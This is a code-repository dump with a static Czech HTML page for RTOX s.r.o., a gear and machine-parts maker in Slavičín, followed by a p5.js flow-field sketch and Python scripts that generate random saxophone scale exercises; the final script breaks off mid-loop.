href="https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.7.1/slick.min.css"> <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.7.1/slick-theme.min.css"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.3.1/css/all.css" integrity="<KEY>" crossorigin="anonymous"> <link rel="stylesheet" href="./lightbox2-master/dist/css/lightbox.css"> <link rel="stylesheet" href="main.css"> <title>RTOX</title> </head> <body> <header> <div class="container-header"> <div class="logo"> <img src="./images/logo.png" alt="logo" width="120px"> </div> <div class="navigation"> <div class="flag-icons"> <img src="./images/chech-flag-bw.png" alt="chech-flag" width="30px"> <img src="./images/brit-flag-bw.png" alt="brit-flag" width="30px"> </div> <ul> <li><a data-scroll href="#videoMain">Home</a></li> <li><a data-scroll href="#oNas">O nás</a></li> <li><a data-scroll href="#sluzby">Služby</a></li> <li><a data-scroll href="#refrence">Reference</a></li> <li><a data-scroll href="#contact">Kontakt</a></li> </ul> </div> </div> </header> <!-- video --> <div id="videoMain"> <div id="video"> <video autoplay loop muted style="width:100%;height:100%"> <source id="mp4" src="./images/final-for-web-10-fps.mp4" type="video/mp4"> </video> </div> <div class="video-container"> <div class="video-left"></div> <div class="video-right"> <h2> Ozubené segmenty </h2> <p> Společnost „RTOX s.r.o.“ byla založena v roce 2011, specializujeme se na zakázkovou výrobu převodových segmentů, běžných strojních dílů. Dodávámě také speciální systémové řešení. </p> <p> Hlavní náplň výroby ozubené segmenty <br> - trapézovvé šrouby a matice <br> - tepelná úprava <br> - povrchová úprava <br> </p> </div> </div> <!-- svg --> <div class="svg"> <img src="./images/method-draw-image.svg" alt="line"> <img class="dblarrow" src="./images/arrow-of-double-angle-pointing-down.png" alt=""> </div> </div> <div class="moveDownContainer"> <button id="moveDown">zavřít »</button> </div> <div id="oNas"> <h1>O nás</h1> <div class="onas-wrapper"> <div class="onas-left"> <img src="./images/onas.png" alt=""> </div> <div class="onas-right"> <p>Společnost RTOX s.r.o. působí na strojírenském trhu jako výrobce dílů pro pohony strojů a zařízení. Především se zaměřujeme na zakázkovou výrobu převodových segmentů, běžných strojních dílů a na dodávku systémových řešení. Společnost byla založena v roce 2011. Od roku 2015 sídlí ve vlastních výrobních prostorech v průmyslové zoně Slavičín. Krédem společnosti je konstruktivně se podílet na konstrukčních i výrobních řešení projektů našich stávajících i budoucích zákazníků. S důrazem na technickou a termínovou pružnost a spolehlivost.</p> <p class="hiddenP"> V praxi je uplatňována teze, že nejlepší reklamou je spokojený zákazník, který se vrací a dále společnost doporučí. I proto jsou používany kvalitní a osvěčené technologické postupy, materiály a odpovídající typy obrábění a to vše s přímou vazbou na zákazníka. Samozdřejmostí je vzájemné dodržování ujednání a pravidel spolupráce. Rozšiřujicí se spolupráce s tuzemskými i zahraničními společnostmi a v naplňování požadované resp. Očekávané kvality námi dodávaných výrobků a dílů. </p> <button id="movetop">číst více »</button> </div> </div> </div> <div id="sluzby"> <h1>služby</h1> <div class="sluzby-wrapper"> <div class="sluzby-menu"> <button class="menuB mark">OZUBENÉ SEGMENTY</button> <button class="menuB">RAPÉZOVÉ ŠROUBY A MATICE</button> <button class="menuB">TEPELNÁ ÚPRAVA</button> <button class="menuB">POVRCHOVÁ ÚPRAVA</button> </div> </div> <div class="article-wrapper"> <div class="sluzby-left articlemove"> <p>SVýroba ozubených kol s čelním ozubením, ozubené řemenice, ozubené hřebeny a tyče, kuželová ozubená kola, standardní typy řetězových kol, polotovary i zakázková výroba.</p> <p> <strong>Ozubená kola</strong> <br> S přímým a šikmým ozubením od modulu 0,5 do 18. Třída přesnosti výroby ozubení 7. Broušená ozubená kola do modulu 10 ve třídě přesnosti 6.</p> <p> <strong> Ozubené řemenice</strong> <br> Ozubené řemenice a hřídele do délky 600 mm, řemeny. Převod ozubenými řemenicemi a ozubeným řemenem se používá tam, kde je nutné zajistit synchronizační pohyb mechanismu. Mezi nejčastěji používané profily zubů patří HTD 3M, 5M, 8M, Polychain, pro metrické rozměry T2.5, T5, T10, AT5, AT10. </p> <p> <strong>Řetězová kola</strong> <br> Řetězová kola ve standardním provedení s nábojem, disky bez náboje. 05B až 40B dle normy DIN, dále nabízíme kola dle normy ASA. Řetězová kola pro dopravní řetězy a řetězy s prodlouženou roztečí. </p> <p> <strong>Ozubená kuželová kola a soukolí</strong> <br> Kola s nábojem pro kuželové pouzdro kola pro dva jednořadé řetězy, napínací kola s ložiskem, s kaleným ozubením, upravená kola na zakázku - z polotovaru i dle výkresu.</p> <p> <strong>Ozubené hřebeny</strong> <br> S přímým i šikmým ozubením od modulu 0,5 do 30. Třída přesnosti 7 – 8.</p> </div> <div class="sluzby-left1"> <p>SVýroba ozubených kol s čelním ozubením, ozubené řemenice, ozubené hřebeny a tyče, kuželová ozubená kola, standardní typy řetězových kol, polotovary i zakázková výroba.</p> <p> <strong>Ozubená kola</strong> <br> S přímým a šikmým ozubením od modulu 0,5 do 18. Třída přesnosti výroby ozubení 7. Broušená ozubená kola do modulu 10 ve třídě přesnosti 6.</p> <p> <strong>Ozubené hřebeny</strong> <br> S přímým i šikmým ozubením od modulu 0,5 do 30. Třída přesnosti 7 – 8.</p> </div> <div class="sluzby-left2"> <p>SVýroba ozubených kol s čelním ozubením, ozubené řemenice, ozubené hřebeny a tyče, kuželová ozubená kola, standardní typy řetězových kol, polotovary i zakázková výroba.</p> <p> <strong>Ozubená kola</strong> <br> S přímým a šikmým ozubením od modulu 0,5 do 18. Třída přesnosti výroby ozubení 7. Broušená ozubená kola do modulu 10 ve třídě přesnosti 6.</p> <p> <strong> Ozubené řemenice</strong> <br> </div> <div class="sluzby-left3"> <p>SVýroba ozubených kol s čelním ozubením, ozubené řemenice, ozubené hřebeny a tyče, kuželová ozubená kola, standardní typy řetězových kol, polotovary i zakázková výroba.</p> <p> <strong>Ozubená kola</strong> <br> S přímým a šikmým ozubením od modulu 0,5 do 18. Třída přesnosti výroby ozubení 7. Broušená ozubená kola do modulu 10 ve třídě přesnosti 6.</p> <p> <strong> Ozubené řemenice</strong> <br> Ozubené řemenice a hřídele do délky 600 mm, řemeny. Převod ozubenými řemenicemi a ozubeným řemenem se používá tam, kde je nutné zajistit synchronizační pohyb mechanismu. Mezi nejčastěji používané profily zubů patří HTD 3M, 5M, 8M, Polychain, pro metrické rozměry T2.5, T5, T10, AT5, AT10. </p> <p> <strong>Řetězová kola</strong> <br> Řetězová kola ve standardním provedení s nábojem, disky bez náboje. 05B až 40B dle normy DIN, dále nabízíme kola dle normy ASA. Řetězová kola pro dopravní řetězy a řetězy s prodlouženou roztečí. </p> <strong>Ozubené hřebeny</strong> <br> S přímým i šikmým ozubením od modulu 0,5 do 30. Třída přesnosti 7 – 8.</p> </div> <div class="sluzby-right"> <img class="articleimage articlemove" src="./images/onas.png" alt=""> <img class="articleimage" src="./images/Screenshot_1.png" alt=""> <img class="articleimage" src="./images/Screenshot_2.png" alt=""> <img class="articleimage" src="./images/Screenshot_3.png" alt=""> </div> </div> </div> <div id="refrence"> <h1>REFRENCE</h1> <div class="top_slider"> <div class="slide"> <a href="images/Screenshot_1.png" data-lightbox="images" data-title="Ozubené desky"> <img class="sliderImg" src="./images/Screenshot_1.png"> </a> <h2>Ozubené desky</h2> </div> <div class="slide"> <a href="images/Screenshot_2.png" data-lightbox="images" data-title="Řemenice"> <img class="sliderImg" src="./images/Screenshot_2.png"> </a> <h2>Řemenice</h2> </div> <div class="slide"> <a href="images/Screenshot_3.png" data-lightbox="images" data-title="text 3"> <img class="sliderImg" src="./images/Screenshot_3.png"> </a> <h2>Ozubené desky</h2> </div> <div class="slide"> <a href="images/Screenshot_1.png" data-lightbox="images" data-title="Ozubené desky"> <img class="sliderImg" src="./images/Screenshot_1.png"> </a> <h2>text 3</h2> </div> </div> <div class="pagers"> <button class="prev"></button> <button class="next"></button> </div> </div> <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d2613.6669566233127!2d17.897022216015678!3d49.073964979309174!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x4713648bda4a6c61%3A0x73a13f91063982d2!2zU2xhdmnEjcOtbg!5e0!3m2!1ssr!2srs!4v1538136860666" width="100%" height="450" frameborder="0" style="border:0" allowfullscreen></iframe> <div id="contact"> <div class="container-wrapper"> <div class="contanct-container"> <div class="contactInfo"> <h2> KONTAKT </h2> <h3> RTOX s.r.o. <br> Divnice 139 (průmyslová zóna)<br> 763 21 Slavičín<br> Česká republika<br> </h3> <h3 class="space"> Mobil: +420 774 973 320<br> Mobil: +420 604 169 454<br> Email: <EMAIL><br> </h3> <h3 class="space"> <span> Datová schránka: yi9xhg7<br> IČ: 29262437<br> Společnost je zapsána v Obchodním rejstříku Městského soudu v Brně, oddíl C, vložka 68970. </h3> </div> <div class="contactUs"> <h2>napište nám</h2> <form> <label for="name">Jméno:<input id="name" type="text"></label> <label for="email">E-mail:<input id="email" type="email"></label> <label for="tele">Tel.:<input id="tele" type="text"></label> <label for="email">Předmět:<input id="emaim" type="email"></label> <label for="message">Zpráva:<textarea name="message" id="message" cols="30" rows="10"></textarea></label> <label><button type="submit">Odeslat »</button></label> </form> </div> </div> <div class="pdf"> <div class="pdf-container"> <h3>Rádi byste s námi spolupracovali? Představíme Vám své další výrobky v našem katalogu.</h3> <button> stáhnout katalog</button> </div> </div> </div> <div class="copy"> <h6>© Copyright 2018 RTOX s.r.o. | Webdesign by Spaneco</h6> </div> </div> </div> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="<KEY> crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/gh/cferdinandi/smooth-scroll@14.0.0/dist/smooth-scroll.polyfills.min.js"></script> <script src="./lightbox2-master/dist/js/lightbox-plus-jquery.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.7.1/slick.min.js"></script> <script src="./main.js"></script> </body> </html>
21fe2aee6929f20137b042e5de7a5bac15e2b982
[ "JavaScript", "HTML" ]
2
JavaScript
vmcreate/RTOX
262c339ff2364a216fbfbe803beb395a40382956
5416ccce0c292b9a9fdba794ea26abb6681d8526
refs/heads/main
<file_sep># exploration-p5 <file_sep> let inc = 0.01; let scl = 10; let cols, rows; let fr; let zoff = 0; let particles = []; function setup() { createCanvas(200, 200); pixelDensity(1); cols = floor(width /scl); rows = floor(height /scl); fr = createP(''); for (let i = 0; i < 100; i++){ particles[i] = new Particle(0); } } function draw() { background(255) let yoff = 0; loadPixels(); //rows for (let y = 0; y < rows; y++){ let xoff = 0; //columns for (let x = 0; x < cols; x++){ let index = ( x + y * width) * 4; let angle = noise(xoff, yoff, zoff) * TWO_PI; let v = p5.Vector.fromAngle(angle); xoff += inc; //drawing moving dots stroke(0); push(); translate(x * scl, y * scl); rotate(v.heading()); line(0, 0, scl, 0); pop(); } yoff += inc; zoff += 0.005; } particles[0].update(); particles[0].show(); fr.html(floor(frameRate())) }
f94535e661663c8414616d4958f040e8ae00b05f
[ "Markdown", "JavaScript" ]
2
Markdown
ansonyuu/exploration-p5
af75726f8f41ac50b22f4d21fb8824e1c3bc3767
6cd831bb8f399a2f71e198535367ba0a767ebfcf
refs/heads/master
<repo_name>R0GANB0RN/api-v1-client-java-<file_sep>/src/main/java/info/blockchain/api/exchangerates/Currency.java package info.blockchain.api.exchangerates; import java.math.BigDecimal; /** * Used in response to the `getTicker` method in the `ExchangeRates` class. */ public class Currency { private BigDecimal buy; private BigDecimal sell; private BigDecimal last; private BigDecimal price15m; private String symbol; public Currency (double buy, double sell, double last, double price15m, String symbol) { this.buy = BigDecimal.valueOf(buy); this.sell = BigDecimal.valueOf(sell); this.last = BigDecimal.valueOf(last); this.price15m = BigDecimal.valueOf(price15m); this.symbol = symbol; } /** * @return Current buy price */ public BigDecimal getBuy () { return buy; } /** * @return Current sell price */ public BigDecimal getSell () { return sell; } /** * @return Most recent market price */ public BigDecimal getLast () { return last; } /** * @return 15 minutes delayed market price */ public BigDecimal getPrice15m () { return price15m; } /** * @return Currency symbol */ public String getSymbol () { return symbol; } } <file_sep>/docs/statistics.md ## `info.blockchain.api.statistics` package The `statistics` package contains the `Statistics` class that reflects the functionality documented at at https://blockchain.info/api/charts_api. It makes various network statistics available, such as the total number of blocks in existence, next difficulty retarget block, total BTC mined in the past 24 hours etc. Example usage: ```java package test; import info.blockchain.api.statistics.*; public class App { public static void main(String[] args) throws Exception { Statistics stats = new Statistics(); StatisticsResponse stats = stats.get(); System.out.println(String.format("The current difficulty is %s. " + "The next retarget will happen in %s hours.", stats.getDifficulty(), (stats.getNextRetarget() - stats.getTotalBlocks()) * stats.getMinutesBetweenBlocks() / 60)); Chart txPerSec = stats.getChart("transactions-per-second", "5weeks", "8hours"); Map<String, Integer> pools = stats.getPools("5weeks"); } } ```<file_sep>/docs/receive.md ## `info.blockchain.api.receive` package The `receive` package contains the `Receive` class that reflects the functionality documented at https://blockchain.info/api/api_receive. It allows merchants to derive addresses from their HD wallets and be notified upon payment. Example usage: ```java package test; import info.blockchain.api.receive.*; public class App { public static void main(String[] args) throws Exception { Receive receive = new Receive("YOUR_API_CODE"); ReceiveResponse response = receive.receive( "<KEY>", URLEncoder.encode("https://your.url.com?secret=foo", "UTF-8")); System.out.println(String.format("The receiving address is %s. " + "The address index is %d", response.getReceivingAddress(), response.getIndex())); int xpubGap = receive.checkGap("<KEY>"); CallbackLog cbLog = receive.getCallbackLog(URLEncoder.encode("https://your.url.com?secret=foo", "UTF-8")); } } ```<file_sep>/src/main/java/info/blockchain/api/blockexplorer/entity/Transaction.java package info.blockchain.api.blockexplorer.entity; import com.google.gson.JsonElement; import com.google.gson.JsonObject; import java.util.ArrayList; import java.util.List; /** * Represents a transaction. */ public class Transaction { private boolean doubleSpend; private long blockHeight; private long time; private long lockTime; private String relayedBy; private String hash; private long index; private int version; private long size; private List<Input> inputs; private List<Output> outputs; public Transaction (boolean doubleSpend, long blockHeight, long time, long lockTime, String relayedBy, String hash, long index, int version, long size, List<Input> inputs, List<Output> outputs) { this.doubleSpend = doubleSpend; this.blockHeight = blockHeight; this.time = time; this.lockTime = lockTime; this.relayedBy = relayedBy; this.hash = hash; this.index = index; this.version = version; this.size = size; this.inputs = inputs; this.outputs = outputs; } public Transaction (JsonObject t) { this(t, t.has("block_height") ? t.get("block_height").getAsLong() : -1, t.has("double_spend") ? t.get("double_spend").getAsBoolean() : false); } public Transaction (JsonObject t, long blockHeight, boolean doubleSpend) { this(doubleSpend, blockHeight, t.get("time").getAsLong(), t.get("lock_time").getAsLong(), t.get("relayed_by").getAsString(), t.get("hash").getAsString(), t.get("tx_index").getAsLong(), t.get("ver").getAsInt(), t.get("size").getAsLong(), null, null); inputs = new ArrayList<Input>(); for (JsonElement inputElem : t.get("inputs").getAsJsonArray()) { inputs.add(new Input(inputElem.getAsJsonObject())); } outputs = new ArrayList<Output>(); for (JsonElement outputElem : t.get("out").getAsJsonArray()) { outputs.add(new Output(outputElem.getAsJsonObject())); } } @Override public boolean equals (Object o) { if (this == o) { return true; } if (o == null || getClass() != o.getClass()) { return false; } Transaction that = (Transaction) o; if (index != that.index) { return false; } if (version != that.version) { return false; } if (size != that.size) { return false; } if (hash != null ? !hash.equals(that.hash) : that.hash != null) { return false; } if (inputs != null ? !inputs.equals(that.inputs) : that.inputs != null) { return false; } return !(outputs != null ? !outputs.equals(that.outputs) : that.outputs != null); } @Override public int hashCode () { int result = hash != null ? hash.hashCode() : 0; result = 31 * result + (int) (index ^ (index >>> 32)); result = 31 * result + version; result = 31 * result + (int) (size ^ (size >>> 32)); result = 31 * result + (inputs != null ? inputs.hashCode() : 0); result = 31 * result + (outputs != null ? outputs.hashCode() : 0); return result; } /** * @return Whether the transaction is a double spend */ public boolean isDoubleSpend () { return doubleSpend; } /** * @return Block height of the parent block. -1 for unconfirmed transactions. */ public long getBlockHeight () { return blockHeight; } /** * @return Timestamp of the transaction */ public long getTime () { return time; } /** * @return Locktime of the transaction */ public long getLockTime () { return lockTime; } /** * @return IP address that relayed the transaction */ public String getRelayedBy () { return relayedBy; } /** * @return Transaction hash */ public String getHash () { return hash; } /** * @return Transaction index */ public long getIndex () { return index; } /** * @return Transaction format version */ public int getVersion () { return version; } /** * @return Serialized size of the transaction */ public long getSize () { return size; } /** * @return List of inputs */ public List<Input> getInputs () { return inputs; } /** * @return List of outputs */ public List<Output> getOutputs () { return outputs; } } <file_sep>/CHANGELOG.md # Changelog All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/) and this project adheres to [Semantic Versioning](http://semver.org/). ## [2.0.0] - 2017-06-16 ### Added - This CHANGELOG file to record all the changes in current and following version of this project. - Filter, limit, and offset optional parameters to getAddress in BlockExplorer. - Confirms and limit optional parameters to getUnspentOutputs in BlockExplorer. - A new getBalance method in BlockExplorer. - A new getMultiAddress method in BlockExplorer. - A new getXpub method in BlockExplorer. - A new toFiat method in ExchangeRates. - A new checkGap method in Receive. - A new getCallbackLog method in Receive. - A new getChart method in Statistics. - A new getPools method in Statistics. ### Changed - ExchangeRate series interfaces to allow API be used for all methods. - Receive series interfaces to allow API be used for all methods. - Statistics series interfaces to allow API be used for all methods. - Moved createWallet functions from CreateWallet class to Wallet class. ### Deprecated - “Get transaction and block by index” interfaces in BlockExplorer. ### Removed - Method getInventoryData in BlockExplorer - Parameter “note” from send and sendMany methods in Wallet. - Parameter “confirmations” from listAddress and getAddress method in Wallet. - Method consolidate in Wallet. <file_sep>/src/main/java/info/blockchain/api/wallet/entity/CreateWalletResponse.java package info.blockchain.api.wallet.entity; /** * Used in response to the `create` method in the `CreateWallet` class. */ public class CreateWalletResponse { private String identifier; private String address; private String label; public CreateWalletResponse (String identifier, String address, String label) { this.identifier = identifier; this.address = address; this.label = label; } /** * @return Wallet identifier (GUID) */ public String getIdentifier () { return identifier; } /** * @return First address in the wallet */ public String getAddress () { return address; } /** * @return Label of first address in the wallet */ public String getLable () { return label; } } <file_sep>/README.md # api-v1-client-java- Blockchain Bitcoin Developer APIs - Java <file_sep>/src/main/java/info/blockchain/api/blockexplorer/entity/FilterType.java package info.blockchain.api.blockexplorer.entity; public enum FilterType { All(4), ConfirmedOnly(5), RemoveUnspendable(6); private final Integer filterInt; FilterType (Integer filterInt) { this.filterInt = filterInt; } public Integer getFilterInt () { return filterInt; } } <file_sep>/docs/blockexplorer.md ## `info.blockchain.api.blockexplorer` package The `blockexplorer` package contains the `BlockExplorer` class that reflects the functionality documented at https://blockchain.info/api/blockchain_api. It can be used to query the block chain, fetch block, transaction and address data, get unspent outputs for an address etc. Example usage: ```java package test; import info.blockchain.api.blockexplorer.*; public class App { public static void main(String[] args) throws Exception { // instantiate a block explorer BlockExplorer blockExplorer = new BlockExplorer(); // get a transaction by hash and list the value of all its inputs Transaction tx = blockExplorer.getTransaction("df67414652722d38b43dcbcac6927c97626a65bd4e76a2e2787e22948a7c5c47"); for (Input i : tx.getInputs()) { System.out.println(i.getPreviousOutput().getValue()); } // get a block by hash and read the number of transactions in the block Block block = blockExplorer.getBlock("0000000000000000050fe18c9b961fc7c275f02630309226b15625276c714bf1"); int numberOfTxsInBlock = block.getTransactions().size(); // get an address and read its final balance Address address = blockExplorer.getAddress("1EjmmDULiZT2GCbJSeXRbjbJVvAPYkSDBw"); long finalBalance = address.getFinalBalance(); // get an address and read its final balance with filter, limit, and offset Address address = client.getAddress("1jH7K4RJrQBXijtLj1JpzqPRhR7MdFtaW", FilterType.All, 10, 5); long finalBalance = address.getFinalBalance(); // get a list of currently unconfirmed transactions and print the relay IP address for each List<Transaction> unconfirmedTxs = blockExplorer.getUnconfirmedTransactions(); for (Transaction unconfTx : unconfirmedTxs) System.out.println(tx.getRelayedBy()); // calculate the balanace of an address by fetching a list of all its unspent outputs List<UnspentOutput> outs = blockExplorer.getUnspentOutputs("1EjmmDULiZT2GCbJSeXRbjbJVvAPYkSDBw"); long totalUnspentValue = 0; for (UnspentOutput out : outs) totalUnspentValue += out.getValue(); // calculate the balanace of an address by fetching a list of all its unspent outputs with confirmations and limit List<UnspentOutput> outs = blockExplorer.getUnspentOutputs(Arrays.asList("1EjmmDULiZT2GCbJSeXRbjbJVvAPYkSDBw"), 5, 10); long totalUnspentValue = 0; for (UnspentOutput out : outs) totalUnspentValue += out.getValue(); // returns the address balance summary for each address provided Map<String, Balance> balances = blockExplorer.getBalance(Arrays.asList("1EjmmDULiZT2GCbJSeXRbjbJVvAPYkSDBw"), FilterType.All); // returns an aggregated summary on all addresses provided. MultiAddress multiAddr = blockExplorer.getMultiAddress(Arrays.asList("1EjmmDULiZT2GCbJSeXRbjbJVvAPYkSDBw"), FilterType.All, 10, 5); // returns xpub summary on a xpub provided, with its overall balance and its transactions. XpubFull xpub = blockExplorer.getXpub("<KEY>", FilterType.All, 10, 5); // get the latest block on the main chain and read its height LatestBlock latestBlock = blockExplorer.getLatestBlock(); long latestBlockHeight = latestBlock.getHeight(); // use the previous block height to get a list of blocks at that height // and detect a potential chain fork List<Block> blocksAtHeight = blockExplorer.getBlocksAtHeight(latestBlockHeight); if (blocksAtHeight.size() > 1) System.out.println("The chain has forked!"); else System.out.println("The chain is still in one piece :)"); // get a list of all blocks that were mined today since 00:00 UTC List<SimpleBlock> todaysBlocks = blockExplorer.getBlocks(); System.out.println(todaysBlocks.size()); } } ```<file_sep>/src/main/java/info/blockchain/api/statistics/Statistics.java package info.blockchain.api.statistics; import com.google.gson.Gson; import com.google.gson.JsonObject; import com.google.gson.JsonParser; import com.google.gson.reflect.TypeToken; import info.blockchain.api.APIException; import info.blockchain.api.HttpClient; import java.io.IOException; import java.lang.reflect.Type; import java.util.HashMap; import java.util.Map; /** * This class reflects the functionality documented * at https://blockchain.info/api/charts_api */ public class Statistics { private final String apiCode; public Statistics () { this(null); } public Statistics (String apiCode) { this.apiCode = apiCode; } /** * Gets the network statistics. * * @return An instance of the StatisticsResponse class * @throws APIException If the server returns an error */ public StatisticsResponse getStats () throws APIException, IOException { Map<String, String> params = new HashMap<String, String>(); params.put("format", "json"); if (apiCode != null) { params.put("api_code", apiCode); } String response = HttpClient.getInstance().get("stats", params); return new StatisticsResponse(response); } /** * This method can be used to get and manipulate data behind all Blockchain.info's charts. * * @param type of chart (Example: transactions-per-second, total-bitcoins) * @param timeSpan (Example: 5weeks) * @param rollingAverage (Example: 8hours) * @return {@code Chart} represents the series of data of the chart * @throws APIException If the server returns an error */ public Chart getChart(String type, String timeSpan, String rollingAverage) throws APIException, IOException { Map<String, String> params = new HashMap<String, String>(); params.put("format", "json"); if (apiCode != null) { params.put("api_code", apiCode); } if (timeSpan != null) { params.put("timespan", timeSpan); } if (rollingAverage != null) { params.put("rollingAverage", rollingAverage); } String response = HttpClient.getInstance().get("charts/" + type, params); JsonObject chartJson = new JsonParser().parse(response).getAsJsonObject(); return new Chart(chartJson); } /** * This method can be used to get the data behind Blockchain.info's pools information. * * @param timeSpan (Example: 5weeks) * @return a map of pool name and the number of blocks it mined * @throws APIException If the server returns an error */ public Map<String, Integer> getPools(String timeSpan) throws APIException, IOException { Map<String, String> params = new HashMap<String, String>(); params.put("format", "json"); if (apiCode != null) { params.put("api_code", apiCode); } if (timeSpan != null) { params.put("timespan", timeSpan); } String response = HttpClient.getInstance().get("pools", params); Type type = new TypeToken<Map<String, String>>(){}.getType(); Gson gson = new Gson(); Map<String, Integer> pools = gson.fromJson(response, type); return pools; } } <file_sep>/src/main/java/info/blockchain/api/wallet/entity/Address.java package info.blockchain.api.wallet.entity; /** * Used in combination with the `Wallet` class */ public class Address { private long balance; private String address; private String label; private long totalReceived; public Address (long balance, String address, String label, long totalReceived) { this.balance = balance; this.address = address; this.label = label; this.totalReceived = totalReceived; } @Override public boolean equals (Object o) { if (this == o) { return true; } if (o == null || getClass() != o.getClass()) { return false; } Address address1 = (Address) o; if (balance != address1.balance) { return false; } if (totalReceived != address1.totalReceived) { return false; } if (address != null ? !address.equals(address1.address) : address1.address != null) { return false; } return !(label != null ? !label.equals(address1.label) : address1.label != null); } @Override public int hashCode () { int result = (int) (balance ^ (balance >>> 32)); result = 31 * result + (address != null ? address.hashCode() : 0); result = 31 * result + (label != null ? label.hashCode() : 0); result = 31 * result + (int) (totalReceived ^ (totalReceived >>> 32)); return result; } /** * @return Balance in satoshi */ public long getBalance () { return balance; } /** * @return String representation of the address */ public String getAddress () { return address; } /** * @return Label attached to the address */ public String getLabel () { return label; } /** * @return Total received amount in satoshi */ public long getTotalReceived () { return totalReceived; } } <file_sep>/docs/exchangerates.md ## `info.blockchain.api.exchangerates` package The `exchangerates` package contains the `ExchangeRates` class that reflects the functionality documented at https://blockchain.info/api/exchange_rates_api. It allows users to get price tickers for most major currencies and directly convert fiat amounts to BTC. Example usage: ```java package test; import info.blockchain.api.exchangerates.*; public class App { public static void main(String[] args) throws Exception { // get the Exchange object ExchangeRates exchange = new ExchangeRates(); // get the ticker map Map<String, Currency> ticker = exchange.getTicker(); BigDecimal BTCUSDsell = ticker.get("USD").getSell(); // convert 5362 EUR to BTC BigDecimal EURToBTC = exchange.toBTC("EUR", new BigDecimal(53620)); // convert 100,000,000 satoshi to USD BigDecimal BTCToUSD = exchange.toFiat("USD", new BigDecimal(100000000)); } } ```
edac290f7abdcc91177686709366533f91e5e14a
[ "Markdown", "Java" ]
12
Java
R0GANB0RN/api-v1-client-java-
23f11bceab30ece3493d9bf280e3394bb0abe5d7
423932506f9c9266160005d7478d4287df1b887b
refs/heads/master
<repo_name>tim-rogue/musical_excercise_generator<file_sep>/randomScales.py import random class randomScales: # a dictionary mapping a Key's chromatic distance from C as a number, used as an offset. # i.e the key of C is 0 semi-tones away from the key of C, the key of F is 5 semitones away from C key_dict = {'Cmaj':0,'Cmin':0,'C#maj':1,'C#min':1, 'Dbmaj':1,'Dmaj':2,'Dmin':2,'D#min':3\ ,'Ebmaj':3,'Ebmin':3,'Emaj':4,'Emin':4,'Fmaj':5,'Fmin':5,'F#maj':6,'F#min':6\ ,'Gbmaj':6,'Gmaj':7,'Gmin':7,'G#min':8,'Abmaj':8,'Abmin':8,'Amaj':9,'Amin':9\ ,'A#min':10,'Bbmaj':10,'Bbmin':10,'Bmaj':11,'Bmin':11} note_order_list = ['3rds','4ths','up 4 notes, jump down a third','jump up a fifth, down 4 notes','jump up a 4rth, play 2nd and 3rd'] scales_types = ['pentatonic','blues','major','natural minor'] def __init__(self): pass def getRandomScale(self): musical_key = random.sample(self.key_dict,1)[0] scale = random.choice(self.scales_types) note_order = random.choice(self.note_order_list) print("Play a \" %s \" scale. " %scale) print("In the key of \" %s \" ." %musical_key) print("With a note order of \" %s \" . \n\n" %note_order) scales = randomScales() for i in range(20): scales.getRandomScale() <file_sep>/excercise_generator.py import math import random #scale tones an dintervals of 2 octave chomatic scale chromatic_scale_tones= {'root':0,'-2':1,'+2':2,'-3':3,'+3':4,'P4':5,'x4/b5':6,'P5':7,'-6':8,'+6':9,'-7':10,'+7':11,'P8':12,'-9':13,'+9':14,'-10':15,'+10':16,'P11':17,'x11/b12':18,'P12':19,'-13':20,'+13':21,'-14':22,'+14':23,'P16':24} chromatic_sharp_list = ['c','cis','d','dis','e','f','fis','g','gis','a','ais','b'] chromatic_flat_list = ['c','des','d','ees','e','f','ges','g','aes','a','bes','b'] #10 scale tones because we're doing 2 octaves NUM_PENTATONIC_SCALE_TONES = 11 #scale tones of 2 octave pentatonic scale minor_pentatonic_scale_tones = [chromatic_scale_tones['root'],chromatic_scale_tones['-3'],chromatic_scale_tones['P4'],chromatic_scale_tones['P5'],chromatic_scale_tones['-7'],chromatic_scale_tones['P8'],chromatic_scale_tones['-10'],chromatic_scale_tones['P11'],chromatic_scale_tones['P12'],chromatic_scale_tones['-14'],chromatic_scale_tones['P16']] def isodd(num): return num%2 #get a random scale tone from both octaves def getRandomScaleTone_BothOctaves(scale,numScaleTones): #get a random integer between 0 and 1000000 random_int = random.randint(0,1000000) #map the random integer to the subset of tone in scale scale_tone = random_int%numScaleTones #using (scale_tone - 1) to account for the list indexing 0 - numElements #i.e if scale_tone is between 1 - 10, note will be indexed 0 - 9 print("random chromatic scale tone using mod: %d" %scale[int(scale_tone )]) #print("randome chromatic scale tone using random.choice(): %d" %random.choice(scale)) return scale[int(scale_tone)] #get a random scale tone from first octave def getRandomScaleTone_1stOctave(scale,numScaleTones): #limit the number of tones to the first octave if(isodd(numScaleTones)): first_octave = int(numScaleTones/2)+1 else: first_octave = int(numScaleTones/2) #print("number of notes in first octave: %d" %first_octave) #get a random integer between 0 and 1000000 random_int = random.randint(0,1000000) #print("nradome number between 1 - 10^6: %d" %random_int) #map the random integer to the subset of tone in scale scale_tone = random_int%first_octave #print("random scale tone: %d" %scale_tone) #using (scale_tone - 1) to account for the list indexing 0 - numElements #i.e if scale_tone is between 1 - 10, note will be indexed 0 - 9 print("random chromatic scale tone: %d" %scale[int(scale_tone )]) return scale[int(scale_tone )] #get a random scale tone from the 2nd octave def getRandomScaleTone_2ndOctave(scale,numScaleTones): #limit the number of tones to the first octave if(isodd(numScaleTones)): first_octave = int(numScaleTones/2)+1 else: first_octave = int(numScaleTones/2) #get a random integer between 0 and 11881376 random_int = random.randint(0,11881376) #map the random integer to the subset of tone in scale scale_tone = random_int%numScaleTones #move the randomly selected first octave note up an octave if(scale_tone < 5): scale_tone = scale_tone+first_octave print("randome chromatic scale tone: %d" %scale[int(scale_tone)]) #using (scale_tone - 1) to account for the list indexing 0 - numElements #i.e if scale_tone is between 1 - 10, note will be indexed 0 - 9 return scale[int(scale_tone)] #convert integer scale tone to a midi pitch for saxophone (low Bb3 to high F6, 58 - 89) def scaleToneToMIDI(scaleTone, keyOffset): return scaleTone + keyOffset for i in range(0,20): 